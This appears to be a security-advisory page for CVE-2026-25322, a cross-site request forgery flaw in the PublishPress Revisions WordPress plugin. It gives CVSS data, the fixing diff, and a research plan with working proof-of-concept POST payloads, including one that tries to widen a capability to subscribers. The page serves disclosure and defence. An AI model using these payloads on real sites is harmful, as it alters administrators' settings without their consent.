CVE-2026-25322

PublishPress Revisions: Duplicate Posts, Submit, Approve and Schedule Content Changes <= 3.7.22 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.7.23
Patched in
96d
Time to patch

Description

The PublishPress Revisions: Duplicate Posts, Submit, Approve and Schedule Content Changes plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.7.22. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.7.22
PublishedJanuary 29, 2026
Last updatedMay 4, 2026
Affected pluginrevisionary

What Changed in the Fix

Changes introduced in v3.7.23

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-25322 (PublishPress Revisions CSRF) ## 1. Vulnerability Summary The **PublishPress Revisions** plugin (up to 3.7.22) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to missing nonce validation in the `rvy_admin_init()` function located in `admin/ad…

Show full research plan

Vulnerability Research Plan: CVE-2026-25322 (PublishPress Revisions CSRF)

1. Vulnerability Summary

The PublishPress Revisions plugin (up to 3.7.22) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation in the rvy_admin_init() function located in admin/admin-init_rvy.php. This function handles the updating of plugin settings. Specifically, when the rvy_submit POST parameter is present, the plugin proceeds to save configuration options without verifying a security nonce. This allows an unauthenticated attacker to change site-wide revision settings by tricking an administrator into submitting a forged request.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Any administrative URL (e.g., /wp-admin/admin.php?page=revisionary-settings), as the vulnerable function is hooked to admin_init.
  • Action: Plugin settings update.
  • Vulnerable Parameter: rvy_submit.
  • Required Authentication: Administrator (the victim must have an active session).
  • Preconditions: The attacker must trick the administrator into clicking a link or visiting a malicious page that triggers a POST request to the WordPress admin panel.

3. Code Flow

  1. Hook Registration: The plugin likely registers rvy_admin_init on the admin_init hook (standard WordPress behavior for functions named *_admin_init).
  2. Entry Point: admin/admin-init_rvy.php:49
    if ( ! empty($_POST['rvy_submit']) || ! empty($_POST['rvy_defaults']) ) {
        require_once( RVY_ABSPATH . '/submittee_rvy.php');    
        $handler = new Revisionary_Submittee();
    
        if ( isset($_POST['rvy_submit']) ) {
            $sitewide = isset($_POST['rvy_options_doing_sitewide']);
            $customize_defaults = isset($_POST['rvy_options_customize_defaults']);
            $handler->handle_submission( 'update', $sitewide, $customize_defaults );
        }
        // ...
    }
    
  3. Missing Validation: Notice that between line 49 and line 57, there is no call to check_admin_referer() or wp_verify_nonce().
  4. Execution: The Revisionary_Submittee::handle_submission method (in submittee_rvy.php) iterates through the $_POST data and updates the plugin's option (usually stored in the revisionary_options array in the database).

4. Nonce Acquisition Strategy

No nonce is required for this exploit.
The vulnerability exists specifically because the plugin fails to check for a nonce before processing the rvy_submit action. An attacker can submit the request with zero knowledge of site secrets or nonces.

5. Exploitation Strategy

The goal is to change a visible setting, such as the revision_limit_per_post, to prove unauthorized modification of plugin configuration.

HTTP Request (PoC)

The security agent will perform an authenticated POST request as an Administrator (simulating the victim's browser being hijacked via CSRF).

  • URL: http://localhost:8080/wp-admin/admin.php?page=revisionary-settings
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    rvy_submit=1&revision_limit_per_post=1337&pending_revisions=1
    
  • Tool: http_request

6. Test Data Setup

  1. Install Plugin: Ensure PublishPress Revisions <= 3.7.22 is active.
  2. Check Current State:
    wp option get revisionary_options
    
    (Identify if revision_limit_per_post is currently set to something other than 1337).

7. Expected Results

  • The server should return a 302 Redirect (standard WordPress admin behavior after saving settings) or a 200 OK if the redirect is followed.
  • The plugin will process the handle_submission call.
  • The revision_limit_per_post value in the revisionary_options array will be updated to 1337.

8. Verification Steps

After the http_request is sent, verify the modification using WP-CLI:

# Get the options and check the specific key
wp option get revisionary_options --format=json | grep -o '"revision_limit_per_post":"1337"'

If the grep returns a match, the CSRF was successful.

9. Alternative Approaches

If revision_limit_per_post does not update (e.g., if the plugin expects specific input formats), try targeting the pending_revisions checkbox or the copy_posts_capability setting:

  • Payload: rvy_submit=1&pending_revisions=0 (to disable pending revisions).
  • Payload: rvy_submit=1&revision_queue_capability=subscriber (to potentially allow lower-privileged users to see the revision queue, if the capability is not strictly validated during save).

Note: checkboxes in WordPress settings often require the value '1' to be considered "checked" and are absent from POST if unchecked. The exploit should send rvy_submit=1 plus the target option name and its desired value.

Research Findings
Static analysis — not yet PoC-verified

Summary

The PublishPress Revisions plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation in the settings processing logic and several AJAX actions. This allows unauthenticated attackers to modify plugin settings or perform unauthorized revision management tasks by tricking an administrator into interacting with a malicious link or page.

Vulnerable Code

// admin/admin-init_rvy.php:66
if ( ! empty($_POST['rvy_submit']) || ! empty($_POST['rvy_defaults']) ) {
    require_once( RVY_ABSPATH . '/submittee_rvy.php');	
    $handler = new Revisionary_Submittee();

    if ( isset($_POST['rvy_submit']) ) {
        $sitewide = isset($_POST['rvy_options_doing_sitewide']);
        $customize_defaults = isset($_POST['rvy_options_customize_defaults']);
        $handler->handle_submission( 'update', $sitewide, $customize_defaults );
    }
    // ...
}

---

// admin/post-edit_rvy.php:348 (Example of AJAX CSRF vector without nonce check)
$(document).on('change', 'div.rvy-author-selection select', function(e) {
    var data = {'rvy_ajax_field': 'author_select', 'rvy_ajax_value': <?php echo esc_attr($post->ID);?>, 'rvy_selection': $('div.rvy-author-selection select').val(), 'nc': Math.floor(Math.random() * 99999999)};

Security Fix

diff -ru 3.7.22/admin/admin-init_rvy.php 3.7.23/admin/admin-init_rvy.php
--- 3.7.22/admin/admin-init_rvy.php	2026-01-08 21:35:36.000000000 +0000
+++ 3.7.23/admin/admin-init_rvy.php	2026-02-03 20:43:52.000000000 +0000
@@ -66,6 +66,8 @@
 	if ( ! empty($_POST['rvy_submit']) || ! empty($_POST['rvy_defaults']) ) {
+		check_admin_referer('rvy-update-options');
 		require_once( RVY_ABSPATH . '/submittee_rvy.php');	
 		$handler = new Revisionary_Submittee();
diff -ru 3.7.22/admin/post-edit-block-ui_rvy.php 3.7.23/admin/post-edit-block-ui_rvy.php
--- 3.7.22/admin/post-edit-block-ui_rvy.php	2025-11-17 19:02:04.000000000 +0000
+++ 3.7.23/admin/post-edit-block-ui_rvy.php	2026-02-03 20:43:52.000000000 +0000
@@ -113,6 +113,11 @@
             wp_enqueue_script( 'rvy_object_edit', RVY_URLPATH . "/admin/rvy_post-block-edit{$suffix}.js", array('jquery', 'jquery-form'), PUBLISHPRESS_REVISIONS_VERSION, true );
 
             $args = \PublishPress\Revisions\PostEditorWorkflowUI::postLinkParams(compact('post', 'do_pending_revisions', 'do_scheduled_revisions'));
+
+            $args['createRevisionNonce'] = wp_create_nonce('create_revision');
+            $args['submitRevisionNonce'] = wp_create_nonce('submit_revision');
+            $args['createScheduledRevisionNonce'] = wp_create_nonce('create_scheduled_revision');
+            $args['authorSelectNonce'] = wp_create_nonce('author_select');
         }
 
         $wp_timezone = wp_timezone();
@@ -181,7 +186,7 @@
             });
 
             $(document).on('change', 'div.rvy-author-selection select', function(e) {
-                var data = {'rvy_ajax_field': 'author_select', 'rvy_ajax_value': <?php echo esc_attr($post->ID);?>, 'rvy_selection': $('div.rvy-author-selection select').val(), 'nc': Math.floor(Math.random() * 99999999)};
+                var data = {'rvy_ajax_field': 'author_select', 'rvy_ajax_value': <?php echo esc_attr($post->ID);?>, 'rvy_selection': $('div.rvy-author-selection select').val(), '_rvynonce': '<?php echo esc_attr(wp_create_nonce('author_select'));?>'};
 
                 $('div.rvy-author-selection select').attr('disabled', 'disabled');

Exploit Outline

The exploit targets the plugin's settings update mechanism and various AJAX-based management actions that lack nonce verification. An attacker can craft a POST request to any administrative URL (since the vulnerable function is hooked to 'admin_init'). 1. Methodology: For settings modification, the attacker creates a hidden HTML form that submits to `/wp-admin/admin.php?page=revisionary-settings`. 2. Payload Shape: The POST body must contain `rvy_submit=1` along with the target option keys and values (e.g., `revision_limit_per_post=1337`). 3. AJAX Vector: For management actions (like revision creation or author changes), the attacker triggers a request with `rvy_ajax_field=create_revision` and target parameters without providing a `_rvynonce` token. 4. Requirements: The victim must be a logged-in site administrator who visits a malicious page or clicks a link controlled by the attacker while their session is active.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.